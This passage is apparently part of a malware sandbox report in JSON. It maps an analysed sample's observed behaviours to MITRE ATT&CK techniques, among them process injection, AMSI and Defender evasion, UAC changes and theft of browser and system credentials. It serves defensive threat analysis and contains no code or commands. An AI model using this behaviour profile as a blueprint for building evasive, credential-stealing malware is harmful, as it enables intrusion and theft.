modify file attributes (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Able to determine the valid logical drives on the computer"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Contains references to file movement (imports API)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to retrieve files based on search patterns"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Touches files in program files directory"},{"type":"informative","value":"Able to retrieve the valid logical drives on the computer"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"malicious","value":"Checks for files associated with bitcoin mining software"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve information about MS-DOS device names (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Able to gather system file/directory information (.NET)"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve information about the current system"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Able to obtain MAC address in .NET file"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Calls an API typically used to get product type"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"informative","value":"PE file contains zero-sized sections"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Dotnet file resource with suspicious entropy"},{"type":"informative","value":"Contains ability to load manifest resource from assembly (Dotnet)"},{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"suspicious","value":"Entrypoint in PE header is within an uncommon section"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Reconnaissance","technique":"Credentials","attack_id":"T1589.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1589/001","identifiers":[{"type":"informative","value":"Attempts to steal credentials via Security Account Manager (SAM) modules"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"},{"type":"informative","value":"Recently renewed or created SSL certificate"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to import GetCommandLine API, which retrieves the command line string for the current process"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"},{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Contains ability to execute a WMI query"},{"type":"informative","value":"Able to obtain instances of WMI classes using PowerShell"},{"type":"informative","value":"Contains ability to call WMI method (Powershell command string)"},{"type":"informative","value":"Executes WMI queries"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Able to access control system service controller"},{"type":"informative","value":"Contains ability to start services (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Contains ability to run commands or expressions (Powershell command string)"},{"type":"informative","value":"Contains ability to run commands from session history (Powershell command string)"},{"type":"informative","value":"Contains ability to run commands (Powershell command string)"},{"type":"informative","value":"YARA signature match - PowerShell file content"},{"type":"informative","value":"Able to build PowerShell events through modules contained in the .NET code"},{"type":"informative","value":"Contains ability to add modules to the current session (Powershell command string)"},{"type":"informative","value":"Able to write/modify file content (Powershell command string)"},{"type":"informative","value":"Contains ability to receive remote commands (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Execution","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve class object from a DLL object handler"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis extracted a file that was identified as malicious"},{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"},{"type":"malicious","value":"The analysis spawned a process that was identified as malicious"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"},{"type":"informative","value":"Contains ability to start a process (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"},{"type":"informative","value":"Contains ability to create/modify Windows services (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Writes registry keys"},{"type":"malicious","value":"Modifies the UAC/LUA settings (Account Control)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to create/modify item values (Powershell command string)"},{"type":"informative","value":"Dotnet code contains ability to modify/delete registry"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Able to delete registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Persistence","technique":"BITS Jobs","attack_id":"T1197","attack_id_wiki":"https://attack.mitre.org/techniques/T1197","identifiers":[{"type":"informative","value":"Contains reference to background jobs (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Persistence","technique":"Windows Management Instrumentation Event Subscription","attack_id":"T1546.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/003","identifiers":[{"type":"informative","value":"Contains ability to create/update instances of WMI classes (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Persistence","technique":"Path Interception by PATH Environment Variable","attack_id":"T1574.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/007","identifiers":[{"type":"informative","value":"References PATH environment registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Persistence","technique":"Transport Agent","attack_id":"T1505.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1505/002","identifiers":[{"type":"informative","value":"Able to establish persistence using Exchange transport agent (.NET)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Persistence","technique":"Bootkit","attack_id":"T1542.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1542/003","identifiers":[{"type":"malicious","value":"Interacts with the primary disk partition (DR0)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Persistence","technique":"DLL","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Potential hijacking of DLL execution flow detected"},{"type":"informative","value":"Possible DLL sideloading"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Imports system security related APIs"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"malicious","value":"Creates a system process in suspended mode (likely for process injection)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Privilege Escalation","technique":"Thread Local Storage","attack_id":"T1055.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/005","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to query local/system time as file time"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution (Powershell command string)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Able to delete items (Powershell command string)"},{"type":"informative","value":"Calls an API typically used to remove a directory"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to modify file system redirection (API string)"},{"type":"informative","value":"Contains ability to clear content (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Able to load content into memory (.NET)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to terminate services/features (Powershell command string)"},{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"},{"type":"informative","value":"Contains ability to delete a property and its value from an item (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Rename Legitimate Utilities","attack_id":"T1036.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/003","identifiers":[{"type":"informative","value":"Contains ability to rename items (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Clear Command History","attack_id":"T1070.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/003","identifiers":[{"type":"informative","value":"Contains ability to clear Powershell session command history (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file is packed with UPX"},{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Contains ability to detect virtual environment (API)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Triggers a burst of requests to the same API (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Indicator Blocking","attack_id":"T1562.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/006","identifiers":[{"type":"informative","value":"Modifies process error mode to suppress error dialogs"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Clear Persistence","attack_id":"T1070.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/009","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"malicious","value":"Creates a fake system process"},{"type":"informative","value":"Creates file(s) in System32 or SysWOW64 directory"},{"type":"malicious","value":"Found a system process name at an unusual pathway"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Renames files"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Double File Extension","attack_id":"T1036.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/007","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"System Binary Proxy Execution","attack_id":"T1218","attack_id_wiki":"https://attack.mitre.org/techniques/T1218","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"},{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"malicious","value":"PE file contains executable resources"},{"type":"suspicious","value":"Section contains high entropy"},{"type":"informative","value":"YARA signature match – Embedded PE executable"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Stripped Payloads","attack_id":"T1027.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/008","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Junk Code Insertion","attack_id":"T1027.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/016","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – Anomalous PE file structure"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Able to access web session cookie"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Contains ability to retrieve credential objects (Powershell command string)"},{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","identifiers":[{"type":"malicious","value":"Attempts to obtain browser login credentials (file access)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Discovery","technique":"System Network Configuration 